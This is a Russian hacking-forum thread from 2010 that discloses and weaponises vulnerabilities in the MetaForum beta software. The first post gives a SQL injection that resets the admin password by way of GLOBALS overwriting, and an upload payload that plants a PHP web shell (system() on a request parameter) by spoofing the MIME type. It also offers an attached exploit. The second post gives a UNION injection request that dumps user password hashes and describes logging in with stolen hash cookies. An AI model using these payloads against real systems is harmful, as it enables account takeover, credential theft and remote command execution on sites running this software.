Старый 07.07.2010, 14:18   #1
m0Hze
 
Аватар для m0Hze
 
Регистрация: 05.07.2010
Сообщений: 326
Репутация: 129
По умолчанию Обзор уязвимостей MetaForum

Site: http://www.blursoft.com/metaForum/
Version: beta-1.0.1066

SQL-инъекция
[Зависимости: права пользователя, rg=on]

File: /engine/shards/user_profile.php
Url: http://host/forum/index.php?shard=usercp&action=g_edit_profile

PHP код:
case "submit_profile_edit"
     
        if (
array_key_exists("realname" $_REQUEST ) == TRUE 
            
$realname make_var_safe(htmlspecialchars($_REQUEST["realname"])); 
        if (
array_key_exists("birthdate" $_REQUEST ) == TRUE 
            
$birthdate make_var_safe(htmlspecialchars($_REQUEST["birthdate"])); 
        if (
array_key_exists("location" $_REQUEST ) == TRUE 
            
$location make_var_safe(htmlspecialchars($_REQUEST["location"])); 
        if (
array_key_exists("email" $_REQUEST ) == TRUE 
            
$email make_var_safe(htmlspecialchars($_REQUEST["email"])); 
        if (
array_key_exists("website" $_REQUEST ) == TRUE 
            
$website make_var_safe(htmlspecialchars($_REQUEST["website"])); 
        if (
array_key_exists("IM" $_REQUEST ) == TRUE 
            
$IM make_var_safe(htmlspecialchars($_REQUEST["IM"])); 
        if (
array_key_exists("profile" $_REQUEST ) == TRUE 
            
$profile make_var_safe(htmlspecialchars($_REQUEST["profile"])); 
        if (
array_key_exists("sig" $_REQUEST ) == TRUE 
            
$sig make_var_safe(htmlspecialchars($_REQUEST["sig"]));             
       
// die($realname); 
         

         
        
$result mf_query("update users set realname='$realname', birthdate='$birthdate', location='$location', email='$email', website='$website', IM='$IM', profile='$profile', sig='$sig' where username='$CURRENTUSER'") or die(mysql_error()); 
        
header("Location: index.php?shard=usercp&action=g_success"); 
Вообще, меня удивило то, как разработчики определяют установленные переменные. Каким бы путем мы не передали параметр, скрипт его в любом случае выхватывает, буть то кукисы,пост или гет. Но если же указаный ключ массива ненайден - то в запрос идет неопределенная переменная. Чутка помозговав, нашел простое решение - массив GLOBALS. Ведь есть передать скрипту ?GLOBALS[var]=1, то в скпите $var примет значение 1. Но в массиве _REQUEST индекс будет _REQUEST[GLOBALS[var]]; Ну дальше думаю понятно. Получаем - смену пароля у юзеров на произвольный. Не поленился, написал сплойт который в аттаче. На входе - хост валидный_логин валидный_пароль админ_логин новый_пасс
Ну выходе - информация и новый пассворд.

Target:
Код:
/index.php?shard=usercp&action=submit_profile_edit&GLOBALS[realname]=',password='sha1(youpass)' where username='admin' -- 1

Загрузка шелла
[Зависимости: права администратора]

File: /engine/shards/upload.php
Url: http://host/forum/index.php?shard=upload&status=shell.php

PHP код:
 case "do_upload"
        
$thisContentObj = &New contentObj
        
$thisContentObj->title "Upload Status"
         
        
//$filename = $_REQUEST['imagefile']; 
        //die($_FILES['imagefile']['type']); 
        
if ($_FILES['imagefile']['type'] == "image/jpeg" || $_FILES['imagefile']['type'] == "image/png"
        {  
             
            
copy ($_FILES['imagefile']['tmp_name'], "images/" $_FILES['imagefile']['name']); 
... 
Тут как видно все элементрано. Ни каких тебе проверок расширения, просто проверка mime-type. Подменяем, и получаем шелл.

Код:
Target: http://host/forum/index.php?shard=upload&action=do_upload

Content-Disposition: form-data; name="imagefile"; filename="shell.php"\r\n
Content-Type: image/jpeg\r\n
\r\n
<?php system($_REQUEST[pew])?>\r\n
-----------------------------114782935826962\r\n
Content-Disposition: form-data; name="Submit"\r\n
\r\n
Submit\r\n
-----------------------------114782935826962--\r\n
Шелл будет по адресу: http://host/forum/images/shell.php


Эксплоит

Прикреплен аттачем.
Вложения
Тип файла: zip ExpMetaForum.zip (1.2 Кб, 370 просмотров)
__________________
multi-vpn.biz - Первый VPN на Эллиптических кривых со скоростью света.
m0Hze вне форума   Ответить с цитированием
Старый 07.07.2010, 14:36   #2
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию metaForum SQL injection

Version: beta-1.0.1066

SQL injection

Vuln file: /engine/shards/search.php
PHP код:
/*...*/
switch( $action ):
/*...*/
    
case "g_default":
/*...*/
    
if ($CURRENTUSER != "anonymous")
    {   
/*...*/
        
$searchterm make_var_safe$_REQUEST['searchterm']);
        
$user make_var_safe$_REQUEST['user']);
        
$searchtype make_var_safe$_REQUEST['searchtype']);
        
$searchsize make_var_safe$_REQUEST['searchsize']);
        if (
$searchsize 200)
            
$searchsize 200;
        if (
$searchsize 1)
            
$searchsize 20;
        if (
$category == "")
            
$category $_POST[channelTag];
/*...*/
            
if ($category 0)
                
$categoryfilter "category=$category and ";
/*...*/    
            
if ($searchtype == "threads")
                
$searchquery "select title,body,ID,date from forum_topics where " .$categoryfilter  .$filteruser ."pthread=0 " .$searchterm2 ." order by date desc limit $searchsize";
/*...*/
            
$posts mf_query($searchquery) or die(mysql_error());
/*...*/ 
Need: user account
Exploit:
Код:
POST http://[host]/[path]/index.php?shard=search&action=g_default HTTP/1.0
Content-Type: application/x-www-form-urlencoded

searchterm=pew&searchtype=threads&searchsize=20&channelTag=1 and null union select concat_ws(0x3a,username,password),null,null,null from users where id=3-- 
Авторизация по хэшу
Cоздаем cookies
Код:
b6mfbetauserID=[user_id]
b6mfbetapassword=[user_hash]
RulleR вне форума   Ответить с цитированием
Ответ

Метки
sql-inj

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot